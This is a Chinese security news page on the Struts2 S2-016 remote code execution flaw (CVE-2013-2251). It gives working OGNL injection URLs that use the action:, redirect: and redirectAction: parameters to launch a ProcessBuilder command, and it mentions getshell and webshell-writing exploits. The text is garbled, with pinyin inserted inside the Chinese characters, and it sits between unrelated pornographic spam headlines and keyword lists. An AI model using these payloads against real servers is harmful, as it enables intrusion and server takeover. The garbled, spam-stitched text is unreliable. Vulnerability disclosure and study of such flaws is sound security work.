成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Struts2最新遠(yuǎn)程代碼執(zhí)行漏洞(S2-016)描述

安全 漏洞
Struts又爆遠(yuǎn)程代碼執(zhí)行漏洞了!在這次的漏洞中,攻擊者可以通過(guò)操縱參數(shù)遠(yuǎn)程執(zhí)行惡意代碼。Struts 2.3.15.1之前的版本,參數(shù)action的值redirect以及redirectAction沒(méi)有正確過(guò)濾,導(dǎo)致ognl代碼執(zhí)行。

Struts又爆遠(yuǎn)程代碼執(zhí)行漏洞了!在這次的漏洞中,攻擊者可以通過(guò)操縱參數(shù)遠(yuǎn)程執(zhí)行惡意代碼。Struts 2.3.15.1之前的版本,參數(shù)action的值redirect以及redirectAction沒(méi)有正確過(guò)濾,導(dǎo)致ognl代碼執(zhí)行。

描述

影響版本 Struts 2.0.0 - Struts 2.3.15

報(bào)告者 Takeshi Terada of Mitsui Bussan Secure Directions, Inc.

CVE編號(hào) CVE-2013-2251

漏洞證明

參數(shù)會(huì)以O(shè)GNL表達(dá)式執(zhí)行

http://host/struts2-blank/example/X.action?action:%25{3*4}
http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

代碼執(zhí)行

http://host/struts2-blank/example/X.action?action:%25{(new+
java.lang.ProcessBuilder(new+java.lang.String[]
{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25
{(new+java.lang.ProcessBuilder(new+java.lang.String[]
{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25
{(new+java.lang.ProcessBuilder(new+java.lang.String[]
{'command','goes','here'})).start()}

漏洞原理

The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with “action:” or “redirect:”, followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.

In Struts 2 before 2.3.15.1 the information following “action:”, “redirect:” or “redirectAction:” is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

以下僅供教學(xué)研究之用,嚴(yán)禁非法用途!

執(zhí)行任意命令EXP,感謝X提供:

Struts2再爆遠(yuǎn)程代碼執(zhí)行漏洞(S2-016)

爆網(wǎng)站路徑EXP,感謝h4ck0r提供:

Struts2再爆遠(yuǎn)程代碼執(zhí)行漏洞(S2-016)  

python執(zhí)行任意命令,感謝h4ck0r提供

Struts2再爆遠(yuǎn)程代碼執(zhí)行漏洞(S2-016) 

GETSHELL EXP,感謝coffee提供:

Struts2再爆遠(yuǎn)程代碼執(zhí)行漏洞(S2-016) 

然后用以下代碼寫(xiě)shell:

Struts2再爆遠(yuǎn)程代碼執(zhí)行漏洞(S2-016)

上前目錄生成1.jsp

責(zé)任編輯:藍(lán)雨淚 來(lái)源: FreebuF
相關(guān)推薦

2013-05-22 10:28:19

2016-04-29 10:58:13

2013-07-18 15:09:27

2017-03-08 22:23:02

2012-12-18 16:18:06

2023-12-14 16:20:09

2017-07-11 09:42:22

漏洞

2013-07-19 09:36:04

struts2struts2漏洞

2016-03-16 15:34:32

2013-07-22 10:45:56

2016-06-08 10:09:24

2016-03-22 12:37:45

Struts2Struts2漏洞漏洞檢測(cè)

2013-07-24 10:35:02

2009-07-29 09:54:34

struts2和str

2017-09-12 07:54:32

2009-06-25 15:11:28

Struts2教程Struts2程序

2013-07-18 15:57:42

2017-07-14 13:51:19

2009-02-04 10:51:07

2017-03-07 10:34:40

Struts2Struts2漏洞
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

主站蜘蛛池模板: 曰韩三级 | 成人久久久 | 久久日韩精品一区二区三区 | a级毛片基地 | 亚洲一区精品在线 | 国产三级日本三级 | 成人h视频在线观看 | 91九色porny首页最多播放 | 国产精品亚洲精品 | 日韩av在线中文字幕 | 欧美13videosex性极品 | 99久久免费精品国产免费高清 | 日本一二三区电影 | 日韩高清中文字幕 | 在线免费观看毛片 | 日韩精品视频一区二区三区 | 精品免费看| 在线播放中文字幕 | 欧美a免费 | 成年人免费在线视频 | 在线观看视频亚洲 | 欧美日韩精品一区二区三区视频 | 日韩在线免费 | 女同久久另类99精品国产 | 高清视频一区二区三区 | 午夜精品一区二区三区在线视频 | 国产电影一区二区 | 亚洲欧美v | 美女在线观看av | 亚洲精品大全 | 欧美精品欧美精品系列 | 亚洲精品久久久久久首妖 | 成人欧美一区二区三区1314 | 色必久久| 久久久久久久91 | 国产成人免费视频网站视频社区 | 99久久精品国产毛片 | 丁香五月网久久综合 | 久久青青 | 伊人网站在线观看 | 欧美精品一区二区三区四区五区 |